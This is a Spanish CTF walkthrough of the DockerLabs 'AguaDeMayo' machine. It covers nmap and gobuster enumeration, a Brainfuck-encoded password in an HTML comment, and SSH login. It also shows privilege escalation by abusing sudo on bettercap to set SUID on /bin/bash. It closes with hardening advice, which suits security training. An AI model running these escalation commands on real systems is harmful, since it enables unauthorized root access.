> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/dockerlabs/facil/aguademayo.md).

# AguaDeMayo

## Introduccion

En este laboratorio de DockerLabs se compromete una maquina Linux con dos servicios expuestos: SSH y HTTP.

La cadena de explotacion pasa por revisar el codigo fuente de la pagina por defecto de Apache, interpretar un mensaje en Brainfuck, localizar una imagen dentro del servidor web y reutilizar la pista obtenida como credencial SSH. La escalada final se consigue abusando de un permiso `sudo` sobre `bettercap`, que permite ejecutar comandos del sistema como `root`.

***

## Reconocimiento

Se comienza con un escaneo de versiones sobre la maquina objetivo:

```bash
nmap -sV -p- -T4 172.17.0.2
```

![Nmap](/files/H01I51OSuH2gnvfpkEPo)

El escaneo muestra dos puertos abiertos:

| Puerto | Servicio | Version                    |
| ------ | -------- | -------------------------- |
| 22/tcp | SSH      | OpenSSH 9.2p1 Debian       |
| 80/tcp | HTTP     | Apache httpd 2.4.59 Debian |

***

## Enumeracion web

Al acceder al puerto `80` aparece la pagina por defecto de Apache en Debian:

```
http://172.17.0.2
```

![Apache default page](/files/QNdJK1DkKq6nut4pm913)

A simple vista no hay contenido personalizado, por lo que se revisa el codigo fuente de la pagina:

```
view-source:http://172.17.0.2/
```

![Codigo fuente](/files/y8s5QeJfagBg7wUElgyS)

Al final del HTML aparece un comentario con una cadena codificada en **Brainfuck**.

***

## Decodificacion Brainfuck

Se copia la cadena encontrada en el comentario y se interpreta con una herramienta online de decodificacion Brainfuck:

![Decodificacion Brainfuck](/files/tKfZWpazInCnNrZ6it3Q)

El resultado obtenido es:

```
bebeaguaqueessano
```

Esta cadena se guarda como posible password, ya que el propio nombre de la maquina y el mensaje hacen referencia al agua.

***

## Fuzzing de rutas

Como la pagina principal no muestra enlaces utiles, se realiza fuerza bruta de directorios con Gobuster:

```bash
gobuster dir -u http://172.17.0.2:80 \
  -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
  -x html,zip,php,txt,bak,sh,asp,aspx \
  -b 404 -t 60
```

![Gobuster](/files/RMwNO9knwzvi1mKukNSF)

Recursos encontrados:

| Recurso          | Codigo | Comentario             |
| ---------------- | ------ | ---------------------- |
| `/index.html`    | 200    | Pagina por defecto     |
| `/images/`       | 301    | Directorio de imagenes |
| `/server-status` | 403    | Recurso restringido    |

Dentro de `/images/` se encuentra una imagen llamada `agua_ssh.jpg`:

```
http://172.17.0.2/images/agua_ssh.jpg
```

![agua\_ssh.jpg](/files/Ca13RGPT8GFX8EIRlHgI)

El nombre del archivo apunta claramente a SSH y sugiere el usuario `agua`.

***

## Acceso SSH

Con el usuario deducido de la imagen y la password obtenida del Brainfuck, se prueba acceso por SSH:

```bash
ssh agua@172.17.0.2
```

Password:

```
bebeaguaqueessano
```

![SSH agua](/files/yTIA5y3UauNJRaXibkbI)

El acceso es correcto y se obtiene una shell como el usuario `agua`.

***

## Enumeracion local

Una vez dentro de la maquina se revisan los privilegios `sudo` del usuario:

```bash
sudo -l
```

![sudo -l](/files/o5O9mVdFUaXhKFwXM3Xx)

El usuario `agua` puede ejecutar `bettercap` como `root` sin proporcionar password:

```
(root) NOPASSWD: /usr/bin/bettercap
```

***

## Escalada a root

Se ejecuta `bettercap` con `sudo`:

```bash
sudo /usr/bin/bettercap
```

![Bettercap help](/files/wOoNvq2izH9oexTzATs5)

`bettercap` permite ejecutar comandos del sistema usando `!`. Como el proceso se esta ejecutando con privilegios de `root`, se asigna el bit SUID a `/bin/bash`:

```
!chmod u+s /bin/bash
```

Despues se sale de `bettercap`:

```
quit
```

![SUID bash](/files/zcuuoo3XDqm5E8eHL8ID)

Con el bit SUID aplicado, se lanza Bash preservando privilegios:

```bash
/bin/bash -p
```

Al comprobar la identidad del proceso se observa que el `euid` es `0`:

```bash
id
```

Finalmente se confirma el acceso como `root`:

```bash
whoami
```

![Root](/files/f3auBCiDvKFzxOgvVKpT)

***

## Conclusion

AguaDeMayo es una maquina sencilla pero muy buena para practicar enumeracion web basica y abuso de permisos `sudo`. La clave estuvo en no quedarse solo con la pagina por defecto de Apache: el codigo fuente escondia una pista codificada, y el directorio `/images/` terminaba dando el usuario para SSH.

### Puntos clave

* La maquina expone SSH y HTTP.
* La web muestra la pagina por defecto de Apache, pero el codigo fuente contiene Brainfuck.
* El Brainfuck decodifica la password `bebeaguaqueessano`.
* Gobuster descubre el directorio `/images/`.
* La imagen `agua_ssh.jpg` sugiere el usuario SSH `agua`.
* El usuario `agua` puede ejecutar `/usr/bin/bettercap` como `root` sin password.
* Desde `bettercap` se puede ejecutar `chmod u+s /bin/bash`.
* `/bin/bash -p` permite obtener una shell con `euid=0`.

### Recomendaciones

* No dejar informacion sensible en comentarios HTML.
* Evitar nombres de archivos que revelen usuarios o servicios internos.
* No reutilizar pistas publicas como credenciales del sistema.
* Revisar cuidadosamente los permisos `sudo` con `NOPASSWD`.
* No permitir que usuarios no privilegiados ejecuten herramientas que puedan lanzar comandos del sistema como `root`.
* Monitorizar cambios peligrosos de permisos, especialmente sobre binarios como `/bin/bash`.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://itskode.gitbook.io/pentesting/dockerlabs/facil/aguademayo.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
